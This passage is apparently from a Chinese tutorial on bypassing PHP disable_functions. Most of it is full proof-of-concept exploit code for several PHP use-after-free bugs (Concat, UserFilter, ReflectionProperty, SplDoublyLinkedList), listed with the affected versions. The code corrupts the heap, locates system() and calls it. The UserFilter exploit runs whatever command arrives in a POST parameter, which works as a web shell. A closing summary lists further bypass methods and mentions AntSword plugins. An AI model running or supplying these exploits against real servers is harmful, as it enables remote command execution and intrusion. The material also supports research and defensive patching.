1 ; const HT_SIZE = 0x118 ; const HT_STRING_SIZE = self ::HT_SIZE - 0x18 - 1 ; public function __construct ($cmd ) { for ($i = 0 ; $i < 10 ; $i ++) { $groom [] = self ::alloc (self ::STRING_SIZE ); $groom [] = self ::alloc (self ::HT_STRING_SIZE ); } $concat_str_addr = self ::str2ptr ($this ->heap_leak (), 16 ); $fill = self ::alloc (self ::STRING_SIZE ); $this ->abc = self ::alloc (self ::STRING_SIZE ); $abc_addr = $concat_str_addr + self ::CHUNK_SIZE ; self ::log ("abc @ 0x%x" , $abc_addr ); $this ->free ($abc_addr ); $this ->helper = new Helper ; if (strlen ($this ->abc) < 0x1337 ) { self ::log ("uaf failed" ); return ; } $this ->helper->a = "leet" ; $this ->helper->b = function ($x ) {}; $this ->helper->c = 0xfeedface ; $helper_handlers = $this ->rel_read (0 ); self ::log ("helper handlers @ 0x%x" , $helper_handlers ); $closure_addr = $this ->rel_read (0x20 ); self ::log ("real closure @ 0x%x" , $closure_addr ); $closure_ce = $this ->read ($closure_addr + 0x10 ); self ::log ("closure class_entry @ 0x%x" , $closure_ce ); $basic_funcs = $this ->get_basic_funcs ($closure_ce ); self ::log ("basic_functions @ 0x%x" , $basic_funcs ); $zif_system = $this ->get_system ($basic_funcs ); self ::log ("zif_system @ 0x%x" , $zif_system ); $fake_closure_off = 0x70 ; for ($i = 0 ; $i < 0x138 ; $i += 8 ) { $this ->rel_write ($fake_closure_off + $i , $this ->read ($closure_addr + $i )); } $this ->rel_write ($fake_closure_off + 0x38 , 1 , 4 ); $handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68 ; $this ->rel_write ($fake_closure_off + $handler_offset , $zif_system ); $fake_closure_addr = $abc_addr + $fake_closure_off + 0x18 ; self ::log ("fake closure @ 0x%x" , $fake_closure_addr ); $this ->rel_write (0x20 , $fake_closure_addr ); ($this ->helper->b)($cmd ); $this ->rel_write (0x20 , $closure_addr ); unset ($this ->helper->b); } private function heap_leak ( ) { $arr = [[], []]; set_error_handler (function() use (&$arr , &$buf ) { $arr = 1; $buf = str_repeat ("\x00" , self ::HT_STRING_SIZE ); }); $arr [1 ] .= self ::alloc (self ::STRING_SIZE - strlen ("Array" )); return $buf ; } private function free ($addr ) { $payload = pack ("Q*" , 0xdeadbeef , 0xcafebabe , $addr ); $payload .= str_repeat ("A" , self ::HT_STRING_SIZE - strlen ($payload )); $arr = [[], []]; set_error_handler (function() use (&$arr , &$buf , &$payload ) { $arr = 1; $buf = str_repeat ($payload , 1 ); }); $arr [1 ] .= "x" ; } private function rel_read ($offset ) { return self ::str2ptr ($this ->abc, $offset ); } private function rel_write ($offset , $value , $n = 8 ) { for ($i = 0 ; $i < $n ; $i ++) { $this ->abc[$offset + $i ] = chr ($value & 0xff ); $value >>= 8 ; } } private function read ($addr , $n = 8 ) { $this ->rel_write (0x10 , $addr - 0x10 ); $value = strlen ($this ->helper->a); if ($n !== 8 ) { $value &= (1 << ($n << 3 )) - 1 ; } return $value ; } private function get_system ($basic_funcs ) { $addr = $basic_funcs ; do { $f_entry = $this ->read ($addr ); $f_name = $this ->read ($f_entry , 6 ); if ($f_name === 0x6d6574737973 ) { return $this ->read ($addr + 8 ); } $addr += 0x20 ; } while ($f_entry !== 0 ); } private function get_basic_funcs ($addr ) { while (true ) { $addr -= 0x10 ; if ($this ->read ($addr , 4 ) === 0xA8 && in_array ($this ->read ($addr + 4 , 4 ), [20180731 , 20190902 , 20200930 , 20210902 ])) { $module_name_addr = $this ->read ($addr + 0x20 ); $module_name = $this ->read ($module_name_addr ); if ($module_name === 0x647261646e617473 ) { self ::log ("standard module @ 0x%x" , $addr ); return $this ->read ($addr + 0x28 ); } } } } private function log ($format , $val = "" ) { if (self ::LOGGING ) { printf ("{$format} \n" , $val ); } } static function alloc ($size ) { return str_shuffle (str_repeat ("A" , $size )); } static function str2ptr ($str , $p = 0 , $n = 8 ) { $address = 0 ; for ($j = $n - 1 ; $j >= 0 ; $j --) { $address <<= 8 ; $address |= ord ($str [$p + $j ]); } return $address ; } }?>
php7_UserFilter(PHP 7.0-8.0) 利用条件
php5.* - exploitable with minor changes to the PoC
php7.0 - all versions to date
php7.1 - all versions to date
php7.2 - all versions to date
php7.3 - all versions to date
php7.4 < 7.4.26
php8.0 < 8.0.13
原理
Memory corruption with user_filter
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 <?php pwn ($_POST ['cmd' ]);function pwn ($cmd ) { define ('LOGGING' , false ); define ('CHUNK_DATA_SIZE' , 0x60 ); define ('CHUNK_SIZE' , ZEND_DEBUG_BUILD ? CHUNK_DATA_SIZE + 0x20 : CHUNK_DATA_SIZE); define ('FILTER_SIZE' , ZEND_DEBUG_BUILD ? 0x70 : 0x50 ); define ('STRING_SIZE' , CHUNK_DATA_SIZE - 0x18 - 1 ); define ('CMD' , $cmd ); for ($i = 0 ; $i < 10 ; $i ++) { $groom [] = Pwn ::alloc (STRING_SIZE); } stream_filter_register ('pwn_filter' , 'Pwn' ); $fd = fopen ('php://memory' , 'w' ); stream_filter_append ($fd ,'pwn_filter' ); fwrite ($fd , 'x' ); }class Helper { public $a , $b , $c ; }class Pwn extends php_user_filter { private $abc , $abc_addr ; private $helper , $helper_addr , $helper_off ; private $uafp , $hfp ; public function filter ($in , $out , &$consumed , $closing ) { if ($closing ) return ; stream_bucket_make_writeable ($in ); $this ->filtername = Pwn ::alloc (STRING_SIZE); fclose ($this ->stream); $this ->go (); return PSFS_PASS_ON; } private function go ( ) { $this ->abc = &$this ->filtername; $this ->make_uaf_obj (); $this ->helper = new Helper ; $this ->helper->b = function ($x ) {}; $this ->helper_addr = $this ->str2ptr (CHUNK_SIZE * 2 - 0x18 ) - CHUNK_SIZE * 2 ; $this ->log ("helper @ 0x%x" , $this ->helper_addr); $this ->abc_addr = $this ->helper_addr - CHUNK_SIZE; $this ->log ("abc @ 0x%x" , $this ->abc_addr); $this ->helper_off = $this ->helper_addr - $this ->abc_addr - 0x18 ; $helper_handlers = $this ->str2ptr (CHUNK_SIZE); $this ->log ("helper handlers @ 0x%x" , $helper_handlers ); $this ->prepare_leaker (); $binary_leak = $this ->read ($helper_handlers + 8 ); $this ->log ("binary leak @ 0x%x" , $binary_leak ); $this ->prepare_cleanup ($binary_leak ); $closure_addr = $this ->str2ptr ($this ->helper_off + 0x38 ); $this ->log ("real closure @ 0x%x" , $closure_addr ); $closure_ce = $this ->read ($closure_addr + 0x10 ); $this ->log ("closure class_entry @ 0x%x" , $closure_ce ); $basic_funcs = $this ->get_basic_funcs ($closure_ce ); $this ->log ("basic_functions @ 0x%x" , $basic_funcs ); $zif_system = $this ->get_system ($basic_funcs ); $this ->log ("zif_system @ 0x%x" , $zif_system ); $fake_closure_off = $this ->helper_off + CHUNK_SIZE * 2 ; for ($i = 0 ; $i < 0x138 ; $i += 8 ) { $this ->write ($fake_closure_off + $i , $this ->read ($closure_addr + $i )); } $this ->write ($fake_closure_off + 0x38 , 1 , 4 ); $handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68 ; $this ->write ($fake_closure_off + $handler_offset , $zif_system ); $fake_closure_addr = $this ->helper_addr + $fake_closure_off - $this ->helper_off; $this ->write ($this ->helper_off + 0x38 , $fake_closure_addr ); $this ->log ("fake closure @ 0x%x" , $fake_closure_addr ); $this ->cleanup (); ($this ->helper->b)(CMD); } private function make_uaf_obj ( ) { $this ->uafp = fopen ('php://memory' , 'w' ); fwrite ($this ->uafp, pack ('QQQ' , 1 , 0 , 0xDEADBAADC0DE )); for ($i = 0 ; $i < STRING_SIZE; $i ++) { fwrite ($this ->uafp, "\x00" ); } } private function prepare_leaker ( ) { $str_off = $this ->helper_off + CHUNK_SIZE + 8 ; $this ->write ($str_off , 2 ); $this ->write ($str_off + 0x10 , 6 ); $val_off = $this ->helper_off + 0x48 ; $this ->write ($val_off , $this ->helper_addr + CHUNK_SIZE + 8 ); $this ->write ($val_off + 8 , 0xA ); } private function prepare_cleanup ($binary_leak ) { $ret_gadget = $binary_leak ; do { --$ret_gadget ; } while ($this ->read ($ret_gadget , 1 ) !== 0xC3 ); $this ->log ("ret gadget = 0x%x" , $ret_gadget ); $this ->write (0 , $this ->abc_addr + 0x20 - (PHP_MAJOR_VERSION === 8 ? 0x50 : 0x60 )); $this ->write (8 , $ret_gadget ); } private function read ($addr , $n = 8 ) { $this ->write ($this ->helper_off + CHUNK_SIZE + 16 , $addr - 0x10 ); $value = strlen ($this ->helper->c); if ($n !== 8 ) { $value &= (1 << ($n << 3 )) - 1 ; } return $value ; } private function write ($p , $v , $n = 8 ) { for ($i = 0 ; $i < $n ; $i ++) { $this ->abc[$p + $i ] = chr ($v & 0xff ); $v >>= 8 ; } } private function get_basic_funcs ($addr ) { while (true ) { $addr -= 0x10 ; if ($this ->read ($addr , 4 ) === 0xA8 && in_array ($this ->read ($addr + 4 , 4 ), [20151012 , 20160303 , 20170718 , 20180731 , 20190902 , 20200930 ])) { $module_name_addr = $this ->read ($addr + 0x20 ); $module_name = $this ->read ($module_name_addr ); if ($module_name === 0x647261646e617473 ) { $this ->log ("standard module @ 0x%x" , $addr ); return $this ->read ($addr + 0x28 ); } } } } private function get_system ($basic_funcs ) { $addr = $basic_funcs ; do { $f_entry = $this ->read ($addr ); $f_name = $this ->read ($f_entry , 6 ); if ($f_name === 0x6d6574737973 ) { return $this ->read ($addr + 8 ); } $addr += 0x20 ; } while ($f_entry !== 0 ); } private function cleanup ( ) { $this ->hfp = fopen ('php://memory' , 'w' ); fwrite ($this ->hfp, pack ('QQ' , 0 , $this ->abc_addr)); for ($i = 0 ; $i < FILTER_SIZE - 0x10 ; $i ++) { fwrite ($this ->hfp, "\x00" ); } } private function str2ptr ($p = 0 , $n = 8 ) { $address = 0 ; for ($j = $n - 1 ; $j >= 0 ; $j --) { $address <<= 8 ; $address |= ord ($this ->abc[$p + $j ]); } return $address ; } private function ptr2str ($ptr , $n = 8 ) { $out = '' ; for ($i = 0 ; $i < $n ; $i ++) { $out .= chr ($ptr & 0xff ); $ptr >>= 8 ; } return $out ; } private function log ($format , $val = '' ) { if (LOGGING) { printf ("{$format} \n" , $val ); } } static function alloc ($size ) { return str_shuffle (str_repeat ('A' , $size )); } }?>
php7_ReflectionProperty_UAF 利用条件
7.4.x 版本上进行利用,最高可利用版本为 7.4.8。
原理
Use after free when type duplicated into ReflectionProperty gets resolved
exp
最简触发脚本
1 2 3 4 5 6 7 8 <?php class Test {public stdClass $prop ; }$rp = new ReflectionProperty (Test ::class , 'prop' );$test = new Test ;$test ->prop = new stdClass ;var_dump ($rp ->getType ()->getName ());
rce
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 <?php global $abc , $helper ;class Test { public HelperHelperHelperHelperHelperHelperHelper $prop ; }class HelperHelperHelperHelperHelperHelperHelper { public $a , $b ; }function s2n ($str ) { $address = 0 ; for ($i =0 ;$i <4 ;$i ++) { $address <<= 8 ; $address |= ord ($str [4 + $i ]); } return $address ; }function s2b ($str , $offset ) { return hex2bin (str_pad (dechex (s2n ($str ) + $offset - 0x10 ), 8 , "0" , STR_PAD_LEFT)); }function leak ($offset ) { global $abc ; $data = "" ; for ($i = 0 ;$i < 8 ;$i ++) { $data .= $abc [$offset + 7 - $i ]; } return $data ; }function leak2 ($address ) { global $helper ; write (0x20 , $address ); $leak = strlen ($helper -> b); $leak = dechex ($leak ); $leak = str_pad ($leak , 16 , "0" , STR_PAD_LEFT); $leak = hex2bin ($leak ); return $leak ; }function write ($offset , $data ) { global $abc ; $data = str_pad ($data , 8 , "\x00" , STR_PAD_LEFT); for ($i = 0 ;$i < 8 ;$i ++) { $abc [$offset + $i ] = $data [7 - $i ]; } }function get_basic_funcs ($std_object_handlers ) { $prefix = substr ($std_object_handlers , 0 , 4 ); $std_object_handlers = hexdec (bin2hex ($std_object_handlers )); $start = $std_object_handlers & 0x00000000fffff000 | 0x0000000000000920 ; $NumPrefix = $std_object_handlers & 0x0000ffffff000000 ; $NumPrefix = $NumPrefix - 0x0000000001000000 ; $funcs = get_defined_functions ()['internal' ]; for ($i = 0 ; $i < 0x1000 ; $i ++) { $addr = $start - 0x1000 * $i ; $name_addr = bin2hex (leak2 ($prefix . hex2bin (str_pad (dechex ($addr - 0x10 ), 8 , "0" , STR_PAD_LEFT)))); if (hexdec ($name_addr ) > $std_object_handlers || hexdec ($name_addr ) < $NumPrefix ) { continue ; } $name_addr = str_pad ($name_addr , 16 , "0" , STR_PAD_LEFT); $name = strrev (leak2 ($prefix . s2b (hex2bin ($name_addr ), 0x00 ))); $name = explode ("\x00" , $name )[0 ]; if (in_array ($name , $funcs )) { return [$name , bin2hex ($prefix ) . str_pad (dechex ($addr ), 8 , "0" , STR_PAD_LEFT), $std_object_handlers , $NumPrefix ]; } } }function getSystem ($unknown_func ) { $unknown_addr = hex2bin ($unknown_func [1 ]); $prefix = substr ($unknown_addr , 0 , 4 ); $unknown_addr = hexdec ($unknown_func [1 ]); $start = $unknown_addr & 0x00000000ffffffff ; for ($i = 0 ;$i < 0x800 ;$i ++) { $addr = $start - 0x20 * $i ; $name_addr = bin2hex (leak2 ($prefix . hex2bin (str_pad (dechex ($addr - 0x10 ), 8 , "0" , STR_PAD_LEFT)))); if (hexdec ($name_addr ) > $unknown_func [2 ] || hexdec ($name_addr ) < $unknown_func [3 ]) { continue ; } $name_addr = str_pad ($name_addr , 16 , "0" , STR_PAD_LEFT); $name = strrev (leak2 ($prefix . s2b (hex2bin ($name_addr ), 0x00 ))); if (strstr ($name , "system" )) { return bin2hex (leak2 ($prefix . hex2bin (str_pad (dechex ($addr - 0x10 + 0x08 ), 8 , "0" , STR_PAD_LEFT)))); } } for ($i = 0 ;$i < 0x800 ;$i ++) { $addr = $start + 0x20 * $i ; $name_addr = bin2hex (leak2 ($prefix . hex2bin (str_pad (dechex ($addr - 0x10 ), 8 , "0" , STR_PAD_LEFT)))); if (hexdec ($name_addr ) > $unknown_func [2 ] || hexdec ($name_addr ) < $unknown_func [3 ]) { continue ; } $name_addr = str_pad ($name_addr , 16 , "0" , STR_PAD_LEFT); $name = strrev (leak2 ($prefix . s2b (hex2bin ($name_addr ), 0x00 ))); if (strstr ($name , "system" )) { return bin2hex (leak2 ($prefix . hex2bin (str_pad (dechex ($addr - 0x10 + 0x08 ), 8 , "0" , STR_PAD_LEFT)))); } } }$rp = new ReflectionProperty (Test ::class , 'prop' );$test = new Test ;$test -> prop = new HelperHelperHelperHelperHelperHelperHelper ;$abc = $rp -> getType () -> getName ();$helper = new HelperHelperHelperHelperHelperHelperHelper ();if (strlen ($abc ) < 1000 ) { exit ("UAF Failed!" ); }$helper -> a = $helper ;$php_heap = leak (0x10 );$helper -> a = function ($x ) {};$std_object_handlers = leak (0x0 );$prefix = substr ($php_heap , 0 , 4 );echo "Helper Object Address: " . bin2hex ($php_heap ) . "\n" ;echo "std_object_handlers Address: " . bin2hex ($std_object_handlers ) . "\n" ;$closure_object = leak (0x10 );echo "Closure Object: " . bin2hex ($closure_object ) . "\n" ;write (0x28 , "\x06" );if (!($unknown_func = get_basic_funcs ($std_object_handlers ))) { die ("Couldn't determine funcs address" ); }echo "Find func's adress: " . $unknown_func [1 ] . " -> " . $unknown_func [0 ] . "\n" ;if (!($system_address = getSystem ($unknown_func ))) { die ("Couldn't determine system address" ); }echo "Find system's handler: " . $system_address . "\n" ;for ($i = 0 ;$i < (0x130 / 0x08 );$i ++) { write (0x308 + 0x08 * ($i + 1 ), leak2 ($prefix . s2b ($closure_object , 0x08 * $i ))); }$abc [0x308 + 0x40 ] = "\x01" ;write (0x308 + 0x70 , hex2bin ($system_address ));write (0x10 , $prefix . hex2bin (dechex (s2n ($php_heap ) + 0x18 + 0x308 + 0x08 )));echo "Fake Closure Object Address: " . bin2hex ($prefix . hex2bin (str_pad (dechex (s2n ($php_heap ) + 0x18 + 0x308 + 0x08 ), 8 , "0" , STR_PAD_LEFT))) . "\n" ; ($helper -> a)("id" );
php7_SplDoublyLinkedList UAF 利用条件
PHP v7.4.10及其之前版本
PHP v8.0(Alpha)
如果限制了 openbase_dir ,则需要进行爆破,而且爆破还会导致进程崩溃
原理
PHP的SplDoublyLinkedList双向链表库中存在一个用后释放漏洞,该漏洞将允许攻击者通过运行PHP代码来转义disable_functions限制函数。在该漏洞的帮助下,远程攻击者将能够实现PHP沙箱逃逸,并执行任意代码。更准确地来说,成功利用该漏洞后,攻击者将能够绕过PHP的某些限制,例如disable_functions和safe_mode等等
通过UAF bypass PHP disabled functions PHP SplDoublyLinkedList中的用后释放漏洞分析 PHP SplDoublyLinkedList::offsetUnset UAF Sandbox Escape
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 <?php error_reporting (0 );$a = str_repeat ("T" , 120 * 1024 * 1024 );function i2s (&$a , $p , $i , $x = 8 ) { for ($j = 0 ;$j < $x ;$j ++) { $a [$p + $j ] = chr ($i & 0xff ); $i >>= 8 ; } }function s2i ($s ) { $result = 0 ; for ($x = 0 ;$x < strlen ($s );$x ++) { $result <<= 8 ; $result |= ord ($s [$x ]); } return $result ; }function leak (&$a , $address ) { global $s ; i2s ($a , 0x00 , $address - 0x10 ); return strlen ($s -> current ()); }function getPHPChunk ($maps ) { $pattern = '/([0-9a-f]+\-[0-9a-f]+) rw\-p 00000000 00:00 0 /' ; preg_match_all ($pattern , $maps , $match ); foreach ($match [1 ] as $value ) { list ($start , $end ) = explode ("-" , $value ); if (($length = s2i (hex2bin ($end )) - s2i (hex2bin ($start ))) >= 0x200000 && $length <= 0x300000 ) { $address = array (s2i (hex2bin ($start )), s2i (hex2bin ($end )), $length ); echo "[+]PHP Chunk: " . $start . " - " . $end . ", length: 0x" . dechex ($length ) . "\n" ; return $address ; } } }function bomb1 (&$a ) { if (leak ($a , s2i ($_GET ["test1" ])) === 0x5454545454545454 ) { return (s2i ($_GET ["test1" ]) & 0x7ffff0000000 ); }else { die ("[!]Where is here" ); } }function bomb2 (&$a ) { $start = s2i ($_GET ["test2" ]); return getElement ($a , array ($start , $start + 0x200000 , 0x200000 )); die ("[!]Not Found" ); }function getElement (&$a , $address ) { for ($x = 0 ;$x < ($address [2 ] / 0x1000 - 2 );$x ++) { $addr = 0x108 + $address [0 ] + 0x1000 * $x + 0x1000 ; for ($y = 0 ;$y < 5 ;$y ++) { if (leak ($a , $addr + $y * 0x08 ) === 0x1234567812345678 && ((leak ($a , $addr + $y * 0x08 - 0x08 ) & 0xffffffff ) === 0x01 )){ echo "[+]SplDoublyLinkedList Element: " . dechex ($addr + $y * 0x08 - 0x18 ) . "\n" ; return $addr + $y * 0x08 - 0x18 ; } } } }function getClosureChunk (&$a , $address ) { do { $address = leak ($a , $address ); }while (leak ($a , $address ) !== 0x00 ); echo "[+]Closure Chunk: " . dechex ($address ) . "\n" ; return $address ; }function getSystem (&$a , $address ) { $start = $address & 0xffffffffffff0000 ; $lowestAddr = ($address & 0x0000fffffff00000 ) - 0x0000000001000000 ; for ($i = 0 ; $i < 0x1000 * 0x80 ; $i ++) { $addr = $start - $i * 0x20 ; if ($addr < $lowestAddr ) { break ; } $nameAddr = leak ($a , $addr ); if ($nameAddr > $address || $nameAddr < $lowestAddr ) { continue ; } $name = dechex (leak ($a , $nameAddr )); $name = str_pad ($name , 16 , "0" , STR_PAD_LEFT); $name = strrev (hex2bin ($name )); $name = explode ("\x00" , $name )[0 ]; if ($name === "system" ) { return leak ($a , $addr + 0x08 ); } } }class Trigger { function __destruct ( ) { global $s ; unset ($s [0 ]); $a = str_shuffle (str_repeat ("T" , 0xf )); i2s ($a , 0x00 , 0x1234567812345678 ); i2s ($a , 0x08 , 0x04 , 7 ); $s -> current (); $s -> next (); if ($s -> current () !== 0x1234567812345678 ) { die ("[!]UAF Failed" ); } $maps = file_get_contents ("/proc/self/maps" ); if (!$maps ) { cantRead ($a ); }else { canRead ($maps , $a ); } echo "[+]Done" ; } }function bypass ($elementAddress , &$a ) { global $s ; if (!$closureChunkAddress = getClosureChunk ($a , $elementAddress )) { die ("[!]Get Closure Chunk Address Failed" ); } $closure_object = leak ($a , $closureChunkAddress + 0x18 ); echo "[+]Closure Object: " . dechex ($closure_object ) . "\n" ; $closure_handlers = leak ($a , $closure_object + 0x18 ); echo "[+]Closure Handler: " . dechex ($closure_handlers ) . "\n" ; if (!($system_address = getSystem ($a , $closure_handlers ))) { die ("[!]Couldn't determine system address" ); } echo "[+]Find system's handler: " . dechex ($system_address ) . "\n" ; i2s ($a , 0x08 , 0x506 , 7 ); for ($i = 0 ;$i < (0x130 / 0x08 );$i ++) { $data = leak ($a , $closure_object + 0x08 * $i ); i2s ($a , 0x00 , $closure_object + 0x30 ); i2s ($s -> current (), 0x08 * $i + 0x100 , $data ); } i2s ($a , 0x00 , $closure_object + 0x30 ); i2s ($s -> current (), 0x20 , $system_address ); i2s ($a , 0x00 , $closure_object ); i2s ($a , 0x08 , 0x108 , 7 ); echo "[+]Executing command: \n" ; ($s -> current ())("php -v" ); }function canRead ($maps , &$a ) { global $s ; if (!$chunkAddress = getPHPChunk ($maps )) { die ("[!]Get PHP Chunk Address Failed" ); } i2s ($a , 0x08 , 0x06 , 7 ); if (!$elementAddress = getElement ($a , $chunkAddress )) { die ("[!]Get SplDoublyLinkedList Element Address Failed" ); } bypass ($elementAddress , $a ); }function cantRead (&$a ) { global $s ; i2s ($a , 0x08 , 0x06 , 7 ); if (!isset ($_GET ["test1" ]) && !isset ($_GET ["test2" ])) { die ("[!]Please try to get address of PHP Chunk" ); } if (isset ($_GET ["test1" ])) { die (dechex (bomb1 ($a ))); } if (isset ($_GET ["test2" ])) { $elementAddress = bomb2 ($a ); } if (!$elementAddress ) { die ("[!]Get SplDoublyLinkedList Element Address Failed" ); } bypass ($elementAddress , $a ); }$s = new SplDoublyLinkedList ();$s -> push (new Trigger ());$s -> push ("Twings" );$s -> push (function($x ){});for ($x = 0 ;$x < 0x100 ;$x ++) { $s -> push (0x1234567812345678 ); }$s -> rewind ();unset ($s [0 ]);
包含该php即可执行命令(141行)
总结
大部分绕过方法在蚁剑中都有插件可以自动利用
绕过disable_functions的方法大致可以分为以下几类
1:寻找未禁用的函数
2:攻击后端组件:Apache_mod_cgi;ImageMagick;Bash Shellshock;
3:利用php的扩展:制作恶意php扩展;php74_FFI;windows com;imap_open();
4:利用环境变量或者so文件:LD_PRELOAD;php-fpm;iconv;
5:pwn:写shellcode劫持got表;php7_GC_UAF;JSON_Serializer_UAF;php7_Backtrace_UAF;php_Concat_UAF;php7_UserFilter;php7_ReflectionProperty_UAF;php7_SplDoublyLinkedList UAF;